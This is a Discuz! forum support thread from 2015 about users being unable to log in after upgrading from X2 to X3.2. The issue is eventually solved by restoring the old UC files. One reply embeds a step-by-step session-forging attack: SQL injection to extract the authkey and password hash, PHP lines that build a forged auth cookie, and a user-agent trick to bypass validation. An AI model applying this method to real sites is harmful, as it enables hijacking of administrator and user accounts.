Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

X2升级到X3.2后发现用户密码错误,所有用户都不能登陆!

[复制链接]
enhand 发表于 2015-2-1 20:01:40 | 显示全部楼层 |阅读模式
X2升级到X3.2后发现用户密码错误,所有用户都不能登陆!半年前升级没有发现类似的问题,使用最新版升级就发现所有的用户都不能登陆了。
希望协助,谢谢!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

 楼主| enhand 发表于 2015-2-1 20:02:14 | 显示全部楼层
论坛和uc都不能登录。
回复

使用道具 举报

 楼主| enhand 发表于 2015-2-1 20:12:45 | 显示全部楼层
https://discuz.dismall.com/thread-3247274-1-1.html
修复工具重置管理员密码也不行。
回复

使用道具 举报

DZ动力1013 发表于 2015-2-1 23:33:37 | 显示全部楼层
先用老版本的程序覆盖新程序看下是否可以登录
回复

使用道具 举报

 楼主| enhand 发表于 2015-2-2 17:19:21 | 显示全部楼层
老版本是可以登录的,我怀疑是升级的时候用了默认的config所致


1.浏览器类型和$_config['security']['authkey']加起来生成了一个全局的authkey

$this->var['authkey'] = md5($_config['security']['authkey'].$_SERVER['HTTP_USER_AGENT']);



2.authcode加密算法的密钥取的是全局的authkey

$key = md5($key != '' ? $key : getglobal('authkey'));



3.生成的session原文是member表中的HASH和UID。

dsetcookie('auth', authcode("{$member['password']}\t{$member['uid']}", 'ENCODE'), $cookietime, 1, true);



4. 有了前面三点条件后,就可以伪造session了.

用SQL注入在pre_common_setting表中注出$_config['security']['authkey'],在pre_common_member表中注出password和uid.

先生成全局的authkey:$k = md5('b158e2zmrkmGVcP1'.'AAA');

再取hash和uid组成seesion原文: $s = "326ed89bc5ca336bcb6f71545b537492"."\t"."1";

最后使用authcode生成加密seesion:authcode($s,'ENCODE',$k);



5.绕过DISCUZ的安全验证。

浏览器类型的验证:浏览器类型是密钥中绑定的一部分,所以参照4需要将User-Agent设成AAA

回复

使用道具 举报

 楼主| enhand 发表于 2015-2-2 17:19:46 | 显示全部楼层
$_config['security']['authkey'] 会不会对升级产生影响?谢谢!
回复

使用道具 举报

 楼主| enhand 发表于 2015-2-2 21:23:56 | 显示全部楼层
已经解决,只要使用老板的uc覆盖新版的即可。

谢谢支持,结贴!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-8-29 09:19 , Processed in 0.103859 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表